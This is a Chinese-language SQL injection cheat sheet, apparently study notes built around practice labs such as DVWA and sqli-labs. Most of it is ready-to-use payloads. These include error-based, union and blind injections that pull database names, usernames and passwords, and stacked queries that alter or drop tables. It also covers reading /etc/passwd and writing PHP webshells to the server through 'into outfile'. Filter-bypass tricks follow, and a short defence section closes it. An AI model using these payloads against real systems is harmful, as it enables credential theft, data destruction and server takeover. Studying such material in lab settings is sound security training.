SQL注入
SQLi
特殊字符:
0x3c62723e | 换行符 | |
0x7e | ~ 在报错注入中防止截断 |
五种检测方式
- 布尔型
and 1=1 --
和and 1=2 --
- 时间型
- 错误型 输入一个 ‘ 造成错误,对盲注无效
- 联合型 基于union的联合查询,适用于后台通过for输出结果,否则只有第一个结果
- 堆叠型 连接不同语句,可以用于增删该
基于报错的检测
输入' " % ( ) 查看是否出错
基于函数报错的信息收集
条件:后台没有过滤数据库错误提示
- updatexml(xmlDoc, xPath, newString) mysql查询修改xml,xPath无效时报错
- extractvalue(xmlDoc, xPath) mysql对xml查询的函数,返回包含查询值的字符串,xPath无效返回错误
- floor() mysql对数字取整
- select/insert/delete/update 后三种语句无法使用union查询,可使用基于报错
-1' and updatexml(1, version(), 1) #
- 提示: XPATH syntax error: '.44-0ubuntu0.14.04.1'
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) #
- 其中0x7e是防止错误信息被过滤。
insert into member(username, pw, sex, phonenum, email, address) values('1' or updatexml(1,concat('0x7e'database()),0) or '', 11111, 1, 2, 3, 4);
- 报错显示数据库名
' and extractvalue(0, concat(0x7e, version())) #
data' and (select 2 from (select count(*), concat(version(), floor(rand(0)*2))x from information_schema.tables group by x)a) #
kobe' and (select 2 from (select count(*), concat((select password from users where username='admin' limit 0,1), floor(rand(0)*2))x from information_schema.tables group by x)a)#
检测
基于布尔的报错
假设后台语句 select * from users where id = ___
输入 | 拼接得到语句 | |
---|---|---|
' and '1' = '1 或 1' and '1 | select * from users where id = ' ' and '1' = '1' | 不会影响结果 |
' and '1' = '2 或 1' and '0 | select * from users where id = ' ' and '1' = '2 ' | 报错 |
' or '1' = '1' 或 ' or '1 | select * from users where id = ' ' or '1' = '1' | 查询到所有数据 |
查询
可利用 burp 的爆破功能爆破
列数
' order by 2 --
// 判断是否大于等于两行,-- 后需要有一个空格
' and columnName is null -- | 猜列名,存在无反应,不存在报错 |
' and table.column is null -- | 猜本表名,列名已知 |
' and db.table.column is null -- | 猜本库名 |
' and (select cout(*) from table)>0 -- | 猜本库其他表名,当table不存在报错 |
' and othertable.column is null -- | 猜其他表列名 |
' or user = 'admin' -- ' or user like %a% -- |
猜字段 |
' or user='admin' and password 'md5hashmd5hashmd5hashmd5hashmd5hash' -- | 猜账号对应密码 |
'; update users set user='user' where user='admin' -- | 写当前表 |
'; insert .........; -- | |
'; delete ........; -- '; drop table users; -- |
联合查询(用于获取信息)
' union select 1,2 -- | select * from users where id = '' union select 1,2 -- ' | 查询第一个第二个字段的名称。联合查询的数据列数要相同 |
' union select * from ___ | select * from users where id = '' union select * from ___ | |
' union all select database() | ||
' union select user(), 2 -- | select * from users where id='' union select user(), 2 |
mysql函数:
@@datadir
@@hostname
@@version
@@version_compile_os
char() 将ASCII转为字符,防止被服务器过滤
md5()
database()
user()
version()
连接函数
concat()
group_concat()
concat_ws()
concat_ws(char(32,58,32), user(), database(), version()) 将查询函数结果连接并按第一个字符串分隔
mysql 表结构
information_schema 包含了数据库的元信息
data' and exists(select * from database.table) #
and后的判断条件是判断是否能从database或table中提取数据
' union select table_name,table_schema from information_schema.tables-- | 查表名与库名 |
' union select table_schema,count(*) from information_schema.tables group by table_schema -- | 查库及其包含的表个数 |
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'-- | dvwa库下的表 |
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’-- | 查询dvwa库中表名与列名 |
' union select user,password from dvwa.users-- | |
' union select null, concat(user,0x3a,password) from users-- |
操作文件
load_file() 读文件 | ' union select null, load_file('/etc/passwd') -- | |
写文件 | ' union select null, "<?php passthru($_GET['cmd']) ?>" into dumpfile "cmd.php" -- | |
mysql账号权限不够大时无法访问information_schema | ' union select null, concat(user, 0x3a, password) from users into outfile '/tmp/db.txt' -- |
写入文件时mysql默认写入家目录下 /usr/lib/mysql/dvwa/cmd.php ;但执行php的apache用户无权限访问,且mysql也无法将木马写入/var/www目录下
可将木马写入/tmp/目录下,再通过文件包含漏洞执行
上传webshell文件 /usr/share/webshells/php/php-reverse-shell.php
编码为16进制可防止字符过滤。mysql的 into dumpfile 会将其转换为字符。使用 xxd 工具,再使用 tr 去除\n cat webshell.php | xxd -ps | tr -d '\n'。此webshell过大,无法用get方式上传
举例
联合查询
SELECT+1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+
报错注入
?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+
?id=1'+AND(SELECT+1+FROM(SELECT+count(*),CONCAT((SELECT+(SELECT+(SELECT+CONCAT(0x7e,0x27,cast(username+AS+CHAR),0x27,0x7e)+FROM+users+LIMIT+0,1))+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)+AND+1=1--+
布尔盲注
?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)>'s'--+
延时盲注
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
盲注
即数据库的错误信息不显示在页面。
- 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
1.1 不管正确或错误的输入,都只显示两种情况,可认为是0和1
1.2 正确输入下,输入and 1=1 / and 1=2
发现可以判断
1.3 将查询到的数据取某一个字符,转换为ascii值,进行比较得到真假。 - 时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
2.1data' and sleep(5)
如果延迟5秒后正确返回数据则存在盲注
2.2data' and if((substr(database(),1,1))='p', sleep(5), null) #
如果database()函数返回的数据第一个字符是p则延迟5秒,否则执行null
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
判断
/* 整型注入 */
sql-bool.php?name=user1 and 1=1
sql-bool.php?name=user1 and 1=2
/* 字符型注入 */
sql-bool.php?name=user1' and '1'='1
sql-bool.php?name=user1' and '1'='2
/* 字符型注入 */
sql-bool.php?name=user1" and "1"="1
sql-bool.php?name=user1" and "1"="2
根据payload返回的成功或失败可以判断是否存在注入点
读数据
由于盲注无法回显,所以只能通过将获取到的数据挨个字符截取,然后再通过转换为ASCII码的方式与可见字符的ASCII值一一对比
/* 判断库名长度 */
sql-bool.php?name=user1' and (select length(database())) = 1 and '1'='1
sql-bool.php?name=user1' and (select length(database())) = 2 and '1'='1
sql-bool.php?name=user1' and (select length(database())) = 3 and '1'='1
sql-bool.php?name=user1' and (select length(database())) = 4 and '1'='1
然后我们再一位一位的判断字符内容,由于mysql库名不区分大小写,且组成元素为26位英文字母、数字和下划线,所以只需要和这些字符的ASCII值进行比较
sql-bool.php?name=user1' and (select ascii(substring(database(),1,1))) = 97 and '1'='1
sql-bool.php?name=user1' and (select ascii(substring(database(),1,1))) = 98 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 99 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 100 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 101 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 102 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 103 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 104 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 105 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 106 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 107 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 108 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 109 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 110 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 111 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 112 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 113 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 114 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 115 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 116 and '1'='1
当与其他ASCII值判断时,返回均为假,与116判断是否相等时,返回为真,由此可判断数据库名第一个字符的ASCII值为116,再通过ASCII转换为字符,可得知当前数据库名第一个字符内容为't'
数据库写入文件
select 1,2 into outfile "/var/www/html/1.txt"
将select的内容写入文件,有些没回显的注入也可写入文件再读取。
payload:data' union select "<?php @eval($_GET['test'])?>",2 into outfile "/var/www.html/1.php" #
payload:data' union select "<?php system($_GET['test'])?>",2 into outfile "/var/www.html/1.php" #
条件:
- 知道远程目录
- 开启了写权限
- 需要数据库开启 secure_file_priv
二次注入
与常规注入不同,无法用sqlmap
二次注入:黑客精心构造 SQL 语句插入到数据库中,数据库报错的信息被其他类型的 SQL 语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为,这个就是二次注入。
例题:
sqli-Less24
宽字节注入
绕过过滤
- 过滤了 or 和 and 可以采用 双写或者 && || 绕过
- 过滤注释 可以使用闭合绕过
- 过滤了空格 可以使用如下的符号来替代:
符号 | 说明 |
---|---|
%09 | TAB 键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键(垂直) |
%a0 | 空格 |
sqli 防御
代码层:
- 对输入转义 过滤
- 使用预处理 参数化
网络层:
- waf
- 云端防护